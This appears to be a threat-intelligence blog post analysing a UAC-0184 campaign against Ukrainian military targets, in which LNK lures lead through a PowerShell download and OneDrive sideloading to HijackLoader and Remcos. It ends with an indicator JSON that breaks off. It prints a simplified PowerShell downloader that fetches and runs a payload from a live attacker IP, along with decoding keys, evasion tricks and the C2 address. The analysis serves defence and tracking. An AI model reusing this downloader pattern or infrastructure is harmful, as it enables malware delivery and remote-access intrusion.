by Robin Dost

Malware: HijackLoader / IDATLoader -> Remcos Agent 7.1.0 Pro
Actor tracking: UAC-0184 / MB-0005
Related analysis: UAC-0184: From HTA to a Signed Network Stack
A YARA rule for this sample is available on request: contact@robin-dost.de.

In my previous UAC-0184 analysis, I documented a loader chain built around a legitimate Plane9 application, several local payload containers and a pseudo-PNG file carrying additional stages inside its IDAT chunks.

That chain eventually unpacked a collection of signed utilities and a PassMark network component.

The sample analyzed in this article uses a visibly different delivery package and ends with a much clearer final payload.
Plane9 has been replaced with Microsoft OneDrive components, the local container names have changed and the campaign now delivers a fully configured Remcos Agent.

Underneath those changes, however, much of the loader architecture remains familiar.

The result is a useful example of tooling evolution for us: the exterior rotated, while the more expensive internal loading pipeline was retained.

Starting with the initial archive

The initial archive is named:

spisokszch.zip

with the SHA256

c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af

It contains five files:

JPG_012.jpg.lnk
JPG_013.jpg.lnk
JPG_014.jpg.lnk
spisokszch.xlsx.lnk
README.txt

Despite their names, none of the four apparent image or spreadsheet files are actual documents.

They are Windows shortcut files.

The archive therefore presents the victim with three apparent JPG images and one Excel workbook, while Windows may hide the final .lnk extension depending on the local Explorer configuration.
The accompanying README.txt is written in Ukrainian and instructs the recipient to extract the files to the desktop before opening them:

Інструкція як відкрити файли

1. Витягніть їх з архіву (розпакуйте) на робочий стіл. Якщо Ви будете відкривати їх всередині архіву, то вони не відкриються

2. Двічі клацніть по розпакованих файлах

--- EN

Instructions for opening the files:

1. Extract them from the archive to the desktop.
   They will not open if launched from inside the archive.

2. Double-click the extracted files.

This instruction is operationally useful for the attacker.

Launching shortcuts directly from an archive can behave differently depending on the archive utility and extraction context. Asking the victim to extract everything first ensures that the LNK files are placed together on disk and executed in a predictable environment.

It also gives the request a legitimate explanation: the files supposedly need to be unpacked because they cannot be opened from inside the ZIP.

Four lures, one execution pattern

Each LNK launches cmd.exe with delayed variable expansion enabled.

The command reconstructs the string:

MSXML2.XMLHTTP

from two smaller variables:

MSXM
L2.XML

It then writes a temporary VBScript that:

1. creates an MSXML2.XMLHTTP object;
2. performs an HTTP GET request;
3. sets a Windows PowerShell-style User-Agent;
4. writes the response using ADODB.Stream;
5. saves it as a temporary .ps1 file.

The shortcut subsequently executes the VBScript through cscript, launches the downloaded PowerShell file with a hidden window and deletes both temporary files.

The effective flow is:

The split strings and wildcard-heavy Get-Command expression are not sophisticated obfuscation.
They are enough, however, to break simple searches for complete API names or common PowerShell download commands.

The four shortcuts reference four separate PowerShell URLs:

JPG_012.jpg.lnk
-> http://144.31.236.240/szch45/ritecommunion.ps1

JPG_013.jpg.lnk
-> http://144.31.236.240/szch45/shoutnewspaper.ps1

JPG_014.jpg.lnk
-> http://144.31.236.240/szch45/hintprefix.ps1

spisokszch.xlsx.lnk
-> http://144.31.236.240/szch45/collectivisationgown.ps1

The PowerShell downloaders

The recovered PowerShell stages are almost identical.

They first check whether the secondary archive already exists:

szch45clusterhum.zip

If it does not, they download it from:

http://144.31.236.240/szch45clusterhum.zip

The scripts use an obfuscated Get-Command expression to resolve Invoke-WebRequest, then save the ZIP into the current working directory.

They subsequently extract the archive into:

MSWinDistro

Finally, they execute:

MSWinDistro/ClusterHub.exe

and open one of the decoy images / document included in the downloaded ZIP.

The difference between the recovered scripts is the decoy selected after execution:

ritecommunion.ps1
-> JPG_012.jpg

shoutnewspaper.ps1
-> JPG_013.jpg

hintprefix.ps1
-> JPG_014.jpg

collectivisationgown.ps1
-> spisokszch.xlsx

The behavior can be simplified to:

if (!(Test-Path "szch45clusterhum.zip")) {
    Invoke-WebRequest `
        -Uri "http://144.31.236.240/szch45clusterhum.zip" `
        -OutFile "szch45clusterhum.zip"
}

Expand-Archive `
    "szch45clusterhum.zip" `
    -DestinationPath "MSWinDistro"

Start-Process "MSWinDistro/ClusterHub.exe"
Start-Process "MSWinDistro/JPG_012.jpg"

The scripts subsequently execute:

MSWinDistro/ClusterHub.exe

and attempt to open one of the files carrying a .jpg extension.

The difference between the two recovered scripts is the selected file:

ritecommunion.ps1
-> JPG_012.jpg

shoutnewspaper.ps1
-> JPG_013.jpg

However, the files are not valid JPEG images.
Their headers resemble deliberately corrupted or incomplete PNG signatures and standard file identification reports them only as generic data.

The PowerShell start command therefore only proves that Windows is instructed to open the files through the registered .jpg handler. It does not prove that a valid image is displayed to the victim.

No static reference indicating that ClusterHub.exe repairs or decrypts these files was identified in the analyzed loader components.
They may serve as malformed decoys, auxiliary containers or artifacts intended to create visible activity while the sideload chain starts in parallel.

Delivery and C2 on the same server

The IP address:

144.31.236.24

appears throughout the chain.

It hosts:

/szch45/ritecommunion.ps1
/szch45/shoutnewspaper.ps1
/szch45/hintprefix.ps1
/szch45/collectivisationgown.ps1
/szch45clusterhum.zip

The final Remcos configuration also points back to the same address:

144.31.236.240:27018

This means the observed server performs at least two operational roles:

HTTP payload delivery
-> TCP Remcos command and control

There is no domain, redirector or separate delivery layer in the recovered artifacts.

The shortcuts connect directly to an IP address, the PowerShell scripts retrieve the second archive directly from the same IP and the final payload is configured to use that IP for C2.

From an operational-security perspective, this is convenient but noisy.

A single infrastructure indicator links the initial downloader, the secondary archive and the final malware controller.

I’m familiar with this subnet (AS202226) and fairly confident about the provider behind this IP address: h2.nexus.
They offer cheap Windows Server hosting that can be paid for via cryptocurrency and they also support anonymous purchases through a Telegram bot.

In the last few samples i’ve analyzed they used a different Provider (Kraken-Network ISP).
This was consistent for some time now, but now we see a change, this change also has to do with the deployment of Remcos V2, because they need a Windows VPS for hosting their C2 Center.

The full chain

The complete execution sequence becomes:

Yeah, i know, the chain is long…

… but each layer solves a specific problem:

• the initial ZIP provides the lure context;
• the LNK files hide executable command lines behind document names;
• the temporary VBScript performs the first download;
• PowerShell downloads and extracts the larger package;
• the legitimate OneDrive binary provides the sideload host;
• local .sym and .map files hide the encoded stages;
• the HijackLoader bundle handles modular execution;
• Remcos provides the final remote-access capability.

Inside szch45clusterhum.zip

The second archive contains the following relevant files:

ClusterHub.exe
LoggingPlatform.dll
UpdateRingSettings.dll
monitor_base.sym
physicsdesc.map

JPG_012.jpg
JPG_013.jpg
JPG_014.jpg
spisokszch.xlsx

It also contains several Microsoft Visual C++ runtime libraries:

msvcp140.dll
msvcp_win.dll
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll

This makes the directory look like a self-contained Windows application package.

The filenames UpdateRingSettings.dll and LoggingPlatform.dll fit naturally into a Microsoft software environment. The .sym and .map extensions can easily be dismissed as symbols, diagnostics or application metadata.

The decoy files also match the names presented by the original shortcuts.

The initial lure archive contains:

JPG_012.jpg.lnk

while the downloaded archive contains:

JPG_012.jpg

The PowerShell stage starts the malware and then opens the corresponding real image.

It’s actually not only filename masquerading, it’s a complete handoff from a fake shortcut to the real decoy document.

The OneDrive disguise

ClusterHub.exe is not a custom loader built from scratch.

Internally, it contains extensive Microsoft OneDrive and OneDrive Patcher strings, including:

OneDrivePatcher.exe
Microsoft.OneDrive.Sync.Client
UpdateRingSettings.dll
LoggingPlatform.DLL

The associated DLLs also retain legitimate-looking OneDrive symbols and type information.

This gives the package a much cleaner appearance than a random unsigned executable surrounded by several encrypted payloads.

ClusterHub.exe loads UpdateRingSettings.dll, which acts as the malicious loader component. LoggingPlatform.dll is also part of the local dependency chain and appears to preserve or forward expected functionality.

The attacker therefore did not only choose a signed executable that happens to search its local directory for a DLL.
They packaged the malicious loader inside a coherent collection of OneDrive-related components.

That is the first major visual change compared with the previous sample.
The earlier chain used a Plane9 application, the new chain uses Microsoft OneDrive software.

The two files that matter

The main local payload containers are:

monitor_base.sym
physicsdesc.map

Neither file is what its extension suggests.
Both begin with large amounts of printable filler, making them appear text-like when inspected superficially.

The relevant structures are located further inside the files.
The local loading sequence can be reduced to:

This is where the similarities to the previous UAC-0184 sample become difficult to ignore.

monitor_base.sym: the small loader stage

monitor_base.sym is approximately 35 KB.

Most of its beginning consists of filler.
At offset 0x6BD8, the file contains a small structure describing the encoded payload:

Decoded size: 0x2084
Key:          0x3A12EA50

The following data is decoded by adding the key to each 32-bit value.
The result is 8,324 bytes of x64 shellcode.
No complex encryption is involved at this stage.
It is a simple DWORD addition operation.
The decoded shellcode contains several useful strings:

tapisrv.dll
IDAT
IEND
PNG
GET
http
Rtl...

The IDAT, IEND and PNG strings reveal the purpose of the next stage.
The shellcode searches for and processes PNG-style chunks inside physicsdesc.map.
The references beginning with Rtl also lead to the later use of RtlDecompressBuffer.

physicsdesc.map: another image that is not an image

The larger physicsdesc.map file is approximately 1.36 MB.
It does not begin with a valid PNG signature.
Instead, the file starts with another large filler region. The first real PNG-style IDAT chunk appears at offset:

0x4052

From this position onward, the file contains:

164 × IDAT chunks
1 × IEND chunk

Most IDAT chunks contain 8,192 bytes.
The file is not a valid image, but enough of the internal PNG chunk structure is retained for the shellcode to parse it.
The loader searches using a pattern equivalent to:

????IDAT

The four wildcard bytes correspond to the big-endian chunk length preceding the IDAT type.
The shellcode concatenates the data areas of all matching chunks and interprets the first 16 bytes of the resulting stream as metadata.

For this sample, the recovered values are:

Marker:             0xEA79A5C6
DWORD XOR key:      0x54EBEC5E
Compressed size:    0x145E3A
Decompressed size:  0x20AE58

The following payload data is XORed DWORD by DWORD using:

0x54EBEC5E

The XOR output is then decompressed using:

RtlDecompressBuffer
CompressionFormat = 2

Compression format 2 corresponds to:

COMPRESSION_FORMAT_LZNT1

The final decompressed bundle is approximately 2.14 MB.

The same loader architecture

This is the clearest technical connection to the previous sample.

The earlier chain:

The new chain:

The values changed:

• different filenames;
• different offsets;
• different arithmetic keys;
• different XOR keys;
• different IDAT count;
• different decompressed payload.

The architecture did not.

Both chains use:

• a small local file containing arithmetic-encoded shellcode;
• a larger secondary container with a printable filler prefix;
• PNG-style IDAT chunks without a valid PNG header;
• concatenation of chunk data;
• fixed 32-bit XOR decoding;
• Windows LZNT1 decompression;
• a larger modular payload bundle;
• execution through a legitimate software package.

This is a much more useful tracking characteristic than a filename or hash.
Hashes disappear when the sample is rebuilt.
The loader architecture requires actual development work to replace.

A 35-module HijackLoader bundle

The decompressed output contains a table of 35 named modules.

Relevant entries include:

LauncherLdr64

modCreateProcess
modCreateProcess64

modTask
modTask64

modUAC
modUAC64

modWD
modWD64

modWriteFile
modWriteFile64

rshell
rshell64

ti
ti64

CUSTOMINJECT
CUSTOMINJECTPATH

PERSDATA

The module names expose the frameworks modular design.

There are separate 32-bit and 64-bit components for:

• process creation;
• scheduled-task execution;
• UAC-related functionality;
• Windows Defender interaction;
• writing files;
• reverse-shell execution;
• custom injection.

The observed format is consistent with HijackLoader, also tracked as IDATLoader.

The IDAT container is therefore not an isolated packer trick.
It belongs to a wider modular loader framework that can deploy different components and final payloads depending on its configuration.

Embedded PE files inside the loader bundle

The 35 module entries do not represent 35 standalone executables.

Many of them are shellcode fragments, configuration blocks or small architecture-specific routines. However, a structural scan of the fully decompressed HijackLoader bundle recovered eight complete PE files.

These files were carved from the same LZNT1-decompressed bundle described above, not from the final Remcos payload.

These files were carved from the fully decompressed HijackLoader bundle, not from the final Remcos payload.

Seven of the eight PE offsets correspond directly to entries in the recovered 35-module table.
The exception is tcpvcon.exe, which is stored near the beginning of the decompressed bundle before the named module data.

The first embedded executable is the legitimate Microsoft Sysinternals TCPView Console utility. Its original strings and license resources remain intact, including:

Usage: tcpvcon [-a] [-c] [-n] [process name or PID]

The module named FIXED contains Info-ZIP strings and appears to be a bundled or modified ZIP command-line utility.

The remaining binaries form part of the loaders execution and injection framework, with separate components for 32-bit and 64-bit systems.

The final carved PE is a legitimate copy of HearthstoneDeckTracker.exe. Its placement within the bundle suggests that it may be used as a host process for the loaders CUSTOMINJECT execution path, rather than being the injector itself.

Importantly, this executable is not the final Remcos payload!
Remcos is stored separately in an encrypted tail region and only becomes a valid PE after applying the repeating 200-byte XOR layer and removing the leading key area.

This distinction shows that the decompressed stage is not simply a packed RAT. It is a complete deployment framework containing legitimate utilities, architecture-specific loaders, execution stubs and a signed host process for custom injection around the separately encrypted final payload.

A retained internal deployment path

One configuration value is especially interesting:

%windir%\SysWOW64\input.dll

The same destination also appeared in the previous UAC-0184 sample.
In the earlier chain, input.dll belonged to the PassMark-based execution stack and was deployed together with VSLauncher.exe.
The new loader bundle again contains the same input.dll path.
This is a stronger tooling connection than the generic use of DLL sideloading.
The external software stack changed from Plane9 to OneDrive, but part of the internal deployment logic remained intact.
That is often how real tooling evolution looks.

Operators rotate the components most visible to defenders while retaining internal routines, path conventions and loader modules that continue to work.

The final encrypted region

The modular bundle contains another encrypted area of approximately 514 KB.

Its first 200 bytes form the XOR key.

Applying those 200 bytes cyclically to the complete encrypted region turns the key area into zeroes. A valid PE file begins immediately afterward at offset:

0xC8

The recovered executable identifies itself as:

Remcos Agent 7.1.0 Pro

Unlike the final stage in the previous sample, this leaves little ambiguity about the intended capability.
HijackLoader handles staging and execution.
Remcos provides the remote-access functionality.

Recovering the Remcos configuration

The Remcos executable contains a resource named:

SETTINGS

The resource uses RC4 encryption and follows a simple structure:

1 byte      key length
62 bytes    RC4 key
remaining   encrypted configuration

Decrypting the resource produces 58 configuration fields.

Relevant values include:

C2:               144.31.236.240:27018
Install filename: remcos.exe
Mutex:            Rmc-X5JFP2
Log filename:     logs.dat
Screenshot path:  Screenshots
Microphone path:  MicRecords

The key difference from the previous sample is the presence of a clear, statically recoverable controller.
The earlier PassMark-based bundle did not expose an unambiguous external C2 endpoint in the analyzed artifacts.

This Remcos configuration does:

144.31.236.240:27018

The address is the same server used by the LNK shortcuts and PowerShell downloaders.

The decoy material

The secondary archive includes three image files:

JPG_012.jpg
JPG_013.jpg
JPG_014.jpg

and one spreadsheet:

spisokszch.xlsx

The Excel sheet spisokszch.xlsx is an internal Ukrainian military roster of AWOL/desertion cases (СЗЧ): 39 soldiers with names, ranks, AWOL dates, order and criminal case number and status.
In this redacted version, all names, case/order numbers and unit IDs are removed by me, since I don’t know if this file is authentic.

These file names correspond directly to the initial LNK lures.
The recovered PowerShell scripts explicitly open either JPG_012.jpg or JPG_013.jpg after starting ClusterHub.exe.
The images therefore serve as visible decoys.
The spreadsheet is a valid workbook containing a single sheet with 108 used rows.

Its content relates to Ukrainian military administration and includes fields such as:

• military rank;
• full name;
• date of unauthorized absence;
• date of return;
• appointment and result order numbers;
• referrals to the State Bureau of Investigation;
• ERDR case information;
• current location or status.

The workbook contains personal information, so individual rows and names are intentionally not reproduced here.
The targeting context is nevertheless clear.
It relates to Ukrainian military personnel and unauthorized absence cases.
The document may have been created as a tailored lure, modified from an existing document or reused after being obtained elsewhere.
The artifact alone does not establish which scenario is correct.
It does demonstrate that the delivery package was prepared for a specific Ukrainian military-administrative audience.

What changed from the previous sample?

The tooling evolution becomes easier to see side by side.

The delivery mechanism changed more substantially than the internal decoding pipeline.
The previous chain relied on HTA files and a gated delivery path.
The new sample uses document-named shortcuts, a temporary VBScript downloader and small PowerShell stages

Once ClusterHub.exe starts, however, the chain returns to a familiar design.
This suggests that the delivery mechanism and the core loader can be changed independently.
The actor can replace the initial access package without rebuilding the complete payload framework.

Infrastructure Intelligence Model chain

The observed infrastructure and artifact flow can be represented as the following IIM chain:

[ENTRY]
spisokszch.zip
    ├── README.txt
    ├── JPG_012.jpg.lnk
    ├── JPG_013.jpg.lnk
    ├── JPG_014.jpg.lnk
    └── spisokszch.xlsx.lnk

[STAGING]
JPG_012.jpg.lnk
    └── downloads /szch45/ritecommunion.ps1

JPG_013.jpg.lnk
    └── downloads /szch45/shoutnewspaper.ps1

JPG_014.jpg.lnk
    └── downloads /szch45/hintprefix.ps1

spisokszch.xlsx.lnk
    └── downloads /szch45/collectivisationgown.ps1

[DELIVERY INFRASTRUCTURE]
144.31.236.240
    ├── hosts PowerShell stages
    └── hosts /szch45clusterhum.zip

[SECONDARY STAGING]
PowerShell stage
    └── downloads szch45clusterhum.zip
            ├── ClusterHub.exe
            ├── UpdateRingSettings.dll
            ├── LoggingPlatform.dll
            ├── monitor_base.sym
            └── physicsdesc.map

[LOADER PIPELINE]
ClusterHub.exe
    └── executes UpdateRingSettings.dll
            └── decodes monitor_base.sym
                    └── parses physicsdesc.map
                            └── reconstructs HijackLoader bundle

[PAYLOAD]
HijackLoader bundle
    └── decodes Remcos Agent 7.1.0 Pro

[C2]
Remcos
    └── 144.31.236.240:27018

(IIM view in KRAKEN)

If you want to work with the chain yourself, here’s the JSON.

{
  "actor_id": "UAC-0184",
  "attack_annotations": [
    {
      "name": "Malicious File",
      "technique_id": "T1204.002"
    },
    {
      "name": "PowerShell",
      "technique_id": "T1059.001"
    },
    {
      "name": "Mshta / signed binary proxy execution context not used in this sample; retained only for comparison",
      "technique_id": "T1218.005",
      "x_comparison_only": true
    },
    {
      "name": "DLL Side-Loading",
      "technique_id": "T1574.002"
    },
    {
      "name": "Deobfuscate/Decode Files or Information",
      "technique_id": "T1140"
    },
    {
      "name": "Embedded Payloads",
      "technique_id": "T1027.009"
    },
    {
      "name": "Process Injection",
      "technique_id": "T1055"
    }
  ],
  "chain": [
    {
      "entity_id": "e_initial_zip",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_readme",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_012",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_013",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_014",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_xlsx",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_rite_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_shout_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_hint_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_collect_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_rite_ps1",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_shout_ps1",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_delivery_ip",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_payload_zip_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_payload_zip",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_clusterhub",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_update",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_logging",
      "role": "staging",
      "role_confidence": "likely",
      "techniques": []
    },
    {
      "entity_id": "e_monitor",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "techniques": [
        "IIM-T025"
      ]
    },
    {
      "entity_id": "e_shellcode",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_physics",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "techniques": [
        "IIM-T025"
      ]
    },
    {
      "entity_id": "e_idat_stream",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_hijack_bundle",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_inputdll",
      "role": "staging",
      "role_confidence": "likely",
      "techniques": []
    },
    {
      "entity_id": "e_remcos",
      "role": "payload",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_c2",
      "role": "c2",
      "role_confidence": "confirmed",
      "techniques": []
    }
  ],
  "chain_id": "uac-0184-onedrive-sideload-remcos-2026-06",
  "confidence": "confirmed",
  "description": "Ukraine-themed archive containing document- and image-named LNK files. The shortcuts retrieve PowerShell downloaders from 144.31.236.240, which download and extract szch45clusterhum.zip, execute a OneDrive Patcher-based sideload chain, decode local pseudo-PNG IDAT containers through DWORD arithmetic and LZNT1, load a 35-module HijackLoader bundle and recover Remcos Agent 7.1.0 Pro configured for 144.31.236.240:27018.",
  "entities": [
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_initial_zip",
      "type": "file",
      "value": "spisokszch.zip",
      "x_sha256": "c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_readme",
      "type": "file",
      "value": "README.txt",
      "x_language": "Ukrainian",
      "x_lure_instruction": "Extract the files to the desktop and open them outside the archive",
      "x_sha256": "86bac1444fef0b07eec10dcd4a5859a2296954f6b5a36690dc7c27e2931b9ccc"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_012",
      "type": "file",
      "value": "JPG_012.jpg.lnk",
      "x_sha256": "bb40c9d8c217516a92a18a1bdb080a5af92cfafe81f6751dea665e3e78cb4851"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_013",
      "type": "file",
      "value": "JPG_013.jpg.lnk",
      "x_sha256": "fe38e54bedee074825eb3fcbe4824ed203876692a424e0c183e0006b31d1b7a8"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_014",
      "type": "file",
      "value": "JPG_014.jpg.lnk",
      "x_sha256": "a8d0a03543db29d279175c9679eba574dcb7a17e306195a68ab1d033ee2be01c"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_xlsx",
      "type": "file",
      "value": "spisokszch.xlsx.lnk",
      "x_sha256": "6754f3854680767a394b22090f277fc53ec5a242faff54bf233084da5989c3ef"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_rite_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/ritecommunion.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_shout_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/shoutnewspaper.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_hint_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/hintprefix.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_collect_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/collectivisationgown.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_rite_ps1",
      "type": "file",
      "value": "ritecommunion.ps1",
      "x_decoy": "JPG_012.jpg",
      "x_sha256": "adf2c6f80229677615358b56f329aba9c3e9e009d9ca6d6deb0b805e6e212dbc"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_shout_ps1",
      "type": "file",
      "value": "shoutnewspaper.ps1",
      "x_decoy": "JPG_013.jpg",
      "x_sha256": "43579dd80314b6de4a1ca4e40b53ef0376a2ab55d50c8368e0b26af0af0d08c7"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_delivery_ip",
      "type": "ip",
      "value": "144.31.236.240",
      "x_delivery_paths": [
        "/szch45/ritecommunion.ps1",
        "/szch45/shoutnewspaper.ps1",
        "/szch45/hintprefix.ps1",
        "/szch45/collectivisationgown.ps1",
        "/szch45clusterhum.zip"
      ]
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_payload_zip_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45clusterhum.zip"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_payload_zip",
      "type": "file",
      "value": "szch45clusterhum.zip",
      "x_sha256": "fee96a66a8c143ff4f172963a56a813427a65dad7758834bb3283685a37df633"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_clusterhub",
      "type": "file",
      "value": "ClusterHub.exe",
      "x_execution_path": "MSWinDistro/ClusterHub.exe",
      "x_legitimate_software": "Microsoft OneDrive Patcher",
      "x_sha256": "a11339f52a3b31d5a1f134e19bfc83d260ccbde4f14b14889bd824cc636c9a93"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_update",
      "type": "file",
      "value": "UpdateRingSettings.dll",
      "x_role_note": "Sideloaded loader DLL",
      "x_sha256": "da48273d7d4ab1d71ecf50fec0a58884ddb2baf18d872f25cab3637519ef71d7"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_logging",
      "type": "file",
      "value": "LoggingPlatform.dll",
      "x_role_note": "Companion/forwarder DLL",
      "x_sha256": "c0713fd808170f2204a9bc091288e358c5f3266bf99a44f3a36a7ccc03732bb1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_monitor",
      "type": "file",
      "value": "monitor_base.sym",
      "x_decoder": "DWORD addition at offset 0x6BD8; decoded size 0x2084; key 0x3A12EA50"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_shellcode",
      "type": "file",
      "value": "monitor_base.sym decoded x64 shellcode",
      "x_parser_marker": "????IDAT",
      "x_size_bytes": 8324,
      "x_stomping_library": "tapisrv.dll"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_physics",
      "type": "file",
      "value": "physicsdesc.map",
      "x_first_idat_offset": "0x4052",
      "x_format": "Noise prefix followed by 164 PNG-style IDAT chunks and IEND"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_idat_stream",
      "type": "file",
      "value": "physicsdesc.map concatenated IDAT stream",
      "x_compressed_size": "0x145E3A",
      "x_compression": "LZNT1",
      "x_decompressed_size": "0x20AE58",
      "x_dword_xor_key": "0x54EBEC5E",
      "x_marker": "0xEA79A5C6"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_hijack_bundle",
      "type": "file",
      "value": "HijackLoader / IDATLoader modular bundle",
      "x_module_count": 35,
      "x_modules": [
        "ti",
        "ti64",
        "rshell",
        "rshell64",
        "modUAC",
        "modUAC64",
        "modWD",
        "modWD64",
        "modTask",
        "modTask64",
        "modWriteFile",
        "modWriteFile64",
        "CUSTOMINJECT",
        "PERSDATA"
      ]
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_inputdll",
      "type": "file",
      "value": "%windir%\\SysWOW64\\input.dll",
      "x_role_note": "Configured module-stomping/deployment target also observed in the previous UAC-0184 sample"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_remcos",
      "type": "file",
      "value": "Remcos Agent 7.1.0 Pro",
      "x_config_cipher": "RC4",
      "x_config_resource": "SETTINGS",
      "x_install_filename": "remcos.exe",
      "x_mutex": "Rmc-X5JFP2",
      "x_sha256": "40079f05ba7cdccac1f62f8e7e1b644bc0a806b58465f5c005725bc54ee73ef1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_c2",
      "type": "ip",
      "value": "144.31.236.240",
      "x_port": 27018,
      "x_protocol": "tcp",
      "x_role_note": "Remcos C2 recovered from decrypted SETTINGS resource"
    }
  ],
  "iim_version": "1.1",
  "name": "UAC-0184 LNK and PowerShell delivery to OneDrive sideload, HijackLoader and Remcos",
  "needs_review": true,
  "relations": [
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 1,
      "to": "e_readme",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 2,
      "to": "e_lnk_012",
      "type": "drops"
